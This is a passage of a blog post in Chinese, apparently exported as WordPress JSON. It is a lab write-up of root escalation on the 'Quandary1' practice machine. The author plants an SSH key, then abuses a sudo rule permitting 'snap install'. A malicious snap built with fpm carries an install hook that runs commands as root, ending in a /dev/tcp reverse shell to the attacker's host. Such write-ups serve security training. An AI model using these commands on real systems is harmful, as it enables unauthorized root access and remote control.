src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508679.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428141058712\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u63d0\u6743\u81f3root<\/h3>\n<p>\u73af\u5883\u4e0d\u662f\u5f88\u597d\uff0c\u5c1d\u8bd5\u4e0a\u4f20pub\u8fdb\u884c\u8fde\u63a5\uff0c\u76f4\u63a5\u4f7f\u7528\u524d\u9762\u7684<code>test.pub<\/code>\u7b97\u4e86\uff0c\u5c45\u7136\u8fd8\u4e0d\u80fdcd.....<\/p>\n<pre><code class=\"language-bash\">cd \/home\nls\nbin\nboot\ncdrom\ndev\netc\nhome\nlib\nlib32\nlib64\nlibx32\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nswapfile\nsys\ntmp\nusr\nvar\nVBox.log\necho &#039;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK5pFkwBUGQX\/Oi\/zpEoS8fxDWvLQ1Bsvmt2cQ26Cv9A3XDSa9fUGQb+CJEiCzfohx4X5ysnyEdChutebpB\/6y67yFcgKVYS2vaqXcMKR5Y4DTGV9Kzl+Ox17DN6WO0fzI98WBuZZ0d2WEmI\/Woc954+8B81G9LnYnyB36bSkE5nq29GtjYjen\/VE8HPGuT18iz8oHZ\/Q561Ygyx5o0Xgu0n6zP4dPEbK39xuUPSkh5U\/erzASMvIDR3cvdbe0pAk1aIM8EEWPgRwAArkxmEmLLEmm57fBpbmRl54AGlUqhlUoDu3cPvBiCdg1XREKMnr6sueSX+tDOeIGw06NW+8hjvAoGkfh5T4eK1dS5z96pVd8PbWRhH7cmXBdLBYXvI6QMp7rp+FL7TYLIQfYSuqhZP0esYrIvU6GgjglyUcb0IYcZ0npiJAvARcUa7p+3HahX9GQhVb9OwSkiAbMi+OoWB1A6w9Ebm9XCw8WhG9O4zHp43GMEljvD3cZag3BjPs= kali@kali&#039; &gt; \/home\/admin\/.ssh\/authorized_keys<\/code><\/pre>\n<p>\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508680.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508680.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428141624554\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) admin@quandary:\/home\/admin$ sudo -l\nMatching Defaults entries for admin on quandary:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser admin may run the following commands on quandary:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/snap install *<\/code><\/pre>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/snap\/#sudo\">https:\/\/gtfobins.github.io\/gtfobins\/snap\/#sudo<\/a><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508682.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508682.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428141841024\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp]\n\u2514\u2500$ COMMAND=id\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp]\n\u2514\u2500$ cd $(mktemp -d)\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ mkdir -p meta\/hooks\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ printf &#039;#!\/bin\/bash\\n%s; false&#039; &quot;$COMMAND&quot; &gt;meta\/hooks\/install\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ chmod +x meta\/hooks\/install<\/code><\/pre>\n<p>\u9700\u8981\u5b89\u88c5\u4e00\u4e2a\u5de5\u5177<\/p>\n<pre><code class=\"language-bash\">sudo gem install fpm<\/code><\/pre>\n<p>\u7136\u540e\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ fpm -n xxxx -s dir -t snap -a all meta\nCreated package {:path=&gt;&quot;xxxx_1.0_all.snap&quot;}\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ ls\nmeta  xxxx_1.0_all.snap<\/code><\/pre>\n<p>\u7136\u540e\u4e0a\u4f20\u8fc7\u53bb\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) admin@quandary:\/tmp$ wget http:\/\/192.168.0.143:2345\/xxxx_1.0_all.snap\n--2024-04-28 00:36:08--  http:\/\/192.168.0.143:2345\/xxxx_1.0_all.snap\nConnecting to 192.168.0.143:2345... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 4096 (4.0K) [application\/octet-stream]\nSaving to: \u2018xxxx_1.0_all.snap\u2019\n\nxxxx_1.0_all.snap                     100%[=========================================================================&gt;]   4.00K  --.-KB\/s    in 0s      \n\n2024-04-28 00:36:08 (486 MB\/s) - \u2018xxxx_1.0_all.snap\u2019 saved [4096\/4096]\n\n(remote) admin@quandary:\/tmp$ chmod +x xxxx_1.0_all.snap \n(remote) admin@quandary:\/tmp$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode\nerror: cannot perform the following tasks:\n- Run install hook of &quot;xxxx&quot; snap if present (run hook &quot;install&quot;: uid=0(root) gid=0(root) groups=0(root))<\/code><\/pre>\n<p>\u53d1\u73b0\u786e\u5b9e\u662f\u53ef\u4ee5\u63d0\u6743\u7684\uff0c\u5c1d\u8bd5\u91cd\u65b0\u641e\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ COMMAND=&#039;chmod +s \/bin\/bash&#039;\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.UdWGbi6hPj]\n\u2514\u2500$ cd $(mktemp -d)\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.1173XOcsk8]\n\u2514\u2500$ mkdir -p meta\/hooks\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.1173XOcsk8]\n\u2514\u2500$ printf &#039;#!\/bin\/bash\\n%s; false&#039; &quot;$COMMAND&quot; &gt;meta\/hooks\/install\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.1173XOcsk8]\n\u2514\u2500$ chmod +x meta\/hooks\/install\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.1173XOcsk8]\n\u2514\u2500$ fpm -n pwn -s dir -t snap -a all meta\nCreated package {:path=&gt;&quot;pwn_1.0_all.snap&quot;}\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.1173XOcsk8]\n\u2514\u2500$ python3 -m http.server 2345                                   \nServing HTTP on 0.0.0.0 port 2345 (http:\/\/0.0.0.0:2345\/) ...\n192.168.0.179 - - [28\/Apr\/2024 02:38:59] &quot;GET \/pwn_1.0_all.snap HTTP\/1.1&quot; 200 -<\/code><\/pre>\n<pre><code class=\"language-bash\">(remote) admin@quandary:\/tmp$ ls -l \/bin\/bash\n-rwxr-xr-x 1 root root 1183448 Apr 18  2022 \/bin\/bash\n(remote) admin@quandary:\/tmp$ wget http:\/\/192.168.0.143:2345\/pwn_1.0_all.snap\n--2024-04-28 00:39:00--  http:\/\/192.168.0.143:2345\/pwn_1.0_all.snap\nConnecting to 192.168.0.143:2345... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 4096 (4.0K) [application\/octet-stream]\nSaving to: \u2018pwn_1.0_all.snap\u2019\n\npwn_1.0_all.snap                      100%[=========================================================================&gt;]   4.00K  --.-KB\/s    in 0s      \n\n2024-04-28 00:39:00 (666 MB\/s) - \u2018pwn_1.0_all.snap\u2019 saved [4096\/4096]\n\n(remote) admin@quandary:\/tmp$ chmod +x pwn_1.0_all.snap \n(remote) admin@quandary:\/tmp$ sudo -l\nMatching Defaults entries for admin on quandary:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser admin may run the following commands on quandary:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/snap install *\n(remote) admin@quandary:\/tmp$ sudo pwn_1.0_all.snap --dangerous --devmode\n[sudo] password for admin: \n(remote) admin@quandary:\/tmp$ sudo \/usr\/bin\/snap install pwn_1.0_all.snap --dangerous --devmode\nerror: cannot perform the following tasks:\n- Run install hook of &quot;pwn&quot; snap if present (run hook &quot;install&quot;: chmod: changing permissions of &#039;\/bin\/bash&#039;: Read-only file system)\n(remote) admin@quandary:\/tmp$ ls -l \/bin\/bash\n-rwxr-xr-x 1 root root 1183448 Apr 18  2022 \/bin\/bash<\/code><\/pre>\n<p>\u672a\u679c\uff0c\u91cd\u65b0\u5c1d\u8bd5\uff0c\u770b\u4e00\u4e0b\u4ed6\u7684\u7248\u672c\u53f7\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) admin@quandary:\/tmp$ snap --version\nsnap    2.61.2\nsnapd   2.61.2\nseries  16\nubuntu  20.04\nkernel  5.15.0-60-generic<\/code><\/pre>\n<p>\u518d\u5c1d\u8bd5\u4e00\u4e0b\uff0c\u62ff\u5230root\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.dJaPx9nmFZ]\n\u2514\u2500$ COMMAND=&#039;bash -c &quot;exec bash -i &amp;&gt;\/dev\/tcp\/192.168.0.143\/3456 &lt;&amp;1&quot;&#039;\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.dJaPx9nmFZ]\n\u2514\u2500$ printf &#039;#!\/bin\/bash\\n%s; false&#039; &quot;$COMMAND&quot; &gt;meta\/hooks\/install    \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.dJaPx9nmFZ]\n\u2514\u2500$ fpm -n pwn4 -s dir -t snap -a all meta                     \nCreated package {:path=&gt;&quot;pwn4_1.0_all.snap&quot;}\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[\/tmp\/tmp.dJaPx9nmFZ]\n\u2514\u2500$ python3 -m http.server 2345                                       \nServing HTTP on 0.0.0.0 port 2345 (http:\/\/0.0.0.0:2345\/) ...\n192.168.0.179 - - [28\/Apr\/2024 03:06:33] &quot;GET \/pwn4_1.0_all.snap HTTP\/1.1&quot; 200 -<\/code><\/pre>\n<pre><code class=\"language-bash\">wget http:\/\/192.168.0.143:2345\/pwn4_1.0_all.snap\n--2024-04-28 01:06:34--  http:\/\/192.168.0.143:2345\/pwn4_1.0_all.snap\nConnecting to 192.168.0.143:2345... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 4096 (4.0K) [application\/octet-stream]\nSaving to: \u2018pwn4_1.0_all.snap\u2019\n\npwn4_1.0_all.snap                     100%[=========================================================================&gt;]   4.00K  --.-KB\/s    in 0s      \n\n2024-04-28 01:06:34 (460 MB\/s) - \u2018pwn4_1.0_all.snap\u2019 saved [4096\/4096]\n\n(remote) admin@quandary:\/tmp$ chmod +x pwn4_1.0_all.snap \n(remote) admin@quandary:\/tmp$ sudo \/usr\/bin\/snap install pwn4_1.0_all.snap --dangerous --devmode\nRun install hook of &quot;pwn4&quot; snap if present                                                  <\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508683.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508683.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428150752739\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u62ffroot\u5373\u53ef\uff01<\/p>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/0x-noname.github.io\/writeups\/hmv\/qandary1\/\">https:\/\/0x-noname.github.io\/writeups\/hmv\/qandary1\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quandary1 \u4fe1\u606f\u626b\u63cf \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/quandary1] \u2514 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,20,24,18],"tags":[],"class_list":["post-649","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-crypto","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/649","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=649"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/649\/revisions"}],"predecessor-version":[{"id":650,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/649\/revisions\/650"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=649"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=649"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=649"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}